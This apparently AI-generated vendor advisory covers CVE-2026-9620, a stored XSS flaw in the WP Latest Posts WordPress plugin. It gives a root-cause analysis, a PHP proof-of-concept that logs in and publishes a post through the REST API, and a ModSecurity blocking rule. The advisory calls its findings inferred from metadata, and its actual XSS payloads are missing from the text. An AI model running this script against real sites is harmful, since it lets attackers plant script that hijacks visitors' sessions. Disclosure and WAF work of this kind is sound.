Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 23, 2026

CVE-2026-9620: WP Latest Posts <= 5.0.11 Authenticated (Author+) Stored Cross-Site Scripting via Post Content Image src Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-9620
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.11
Patched Version
Disclosed June 22, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-9620 (metadata-based): This vulnerability affects the WP Latest Posts plugin for WordPress versions up to 5.0.11. It allows authenticated attackers with author-level access or higher to inject stored cross-site scripting (XSS) via crafted image src attributes in post content. The CVSS score is 6.4, reflecting medium severity with network exploitation, low complexity, and a scope change.nnThe root cause lies in the plugin’s field() and loop() functions. These functions extract the raw src attribute from tags in post_content using a regular expression. They then reconstruct new elements or CSS background-image declarations by directly concatenating the unescaped value. This bypasses WordPress’s kses content filtering entirely. Atomic Edge analysis infers that the plugin does not use WordPress functions like esc_url() or esc_attr() on the extracted src value before outputting it. The CWE-79 classification confirms this is an input neutralization failure during page generation.nnExploitation requires an attacker with author-level capabilities to create or edit a post. The attacker crafts a post that contains an tag with a malicious src attribute. The payload might look like: or a more sophisticated vector using onerror or data URIs. When WP Latest Processes displays this post (via a widget or shortcode), the plugin extracts the src value and outputs it without sanitization, causing script execution in the browser of any user viewing the page. The attack vector is the plugin’s content processing, not a specific AJAX endpoint.nnRemediation requires the plugin to properly escape the src attribute value before output. The fix should use WordPress’s esc_url() for URL contexts or esc_attr() for HTML attribute contexts. Additionally, the plugin should avoid raw regex extraction from post_content and instead rely on WordPress’s built-in content filtering functions (like wp_kses_post) to handle HTML safely. Since no patched version exists, site administrators should disable the plugin or restrict author-level access pending a fix.nnSuccessful exploitation allows execution of arbitrary JavaScript in the context of any user viewing a page that displays the infected post content. This can lead to session hijacking, cookie theft, phishing attacks, or defacement. Because the XSS is stored, the payload persists and affects all visitors, including administrators, potentially enabling privilege escalation via forged requests.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-9620 – WP Latest Posts $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’);n$response = curl_exec($ch);nn// Step 2: Get the WP nonce and post editor URLn$admin_ajax = $target_url . ‘/wp-admin/admin-ajax.php’;nn// Step 3: Create a new post with XSS payload in image srcn// The payload: an img tag with a javascript: URI in the src attributen$post_title = ‘Atomic Edge PoC CVE-2026-9620’;n$post_content = ‘

Sample text test

‘;nn// Use WordPress REST API to create the post (author level has permission)n$rest_url = $target_url . ‘/wp-json/wp/v2/posts’;nn$post_data = array(n ‘title’ => $post_title,n ‘content’ => $post_content,n ‘status’ => ‘publish’n);nn$json_data = json_encode($post_data);nncurl_setopt($ch, CURLOPT_URL, $rest_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: application/json’,n ‘Content-Length: ‘ . strlen($json_data)n));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);nn$response_data = json_decode($response, true);nif (isset($response_data[‘id’])) {n echo “[+] Post created successfully. Post ID: ” . $response_data[‘id’] . “\n”;n echo “[+] Visit the post to trigger XSS: ” . $response_data[‘link’] . “\n”;n echo “[+] If WP Latest Posts displays this post, the XSS will execute.\n”;n} else {n echo “[-] Failed to create post. Check credentials or permissions.\n”;n echo “Response: ” . $response . “\n”;n}nncurl_close($ch);n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-9620 (metadata-based)n# Block stored XSS via crafted image src in post contentn# This rule targets the REST API endpoint used for creating/updating posts with malicious src attributesnSecRule REQUEST_URI “@beginsWith /wp-json/wp/v2/posts” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-9620 Stored XSS via WP Latest Posts image src’,severity:’CRITICAL’,tag:’CVE-2026-9620′”n SecRule REQUEST_METHOD “@streq POST” “chain”n SecRule ARGS:content “@rx ]*src\s*=\s*[‘\”]?\s*(?:javascript|data:text|vbscript|&#)”n”
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School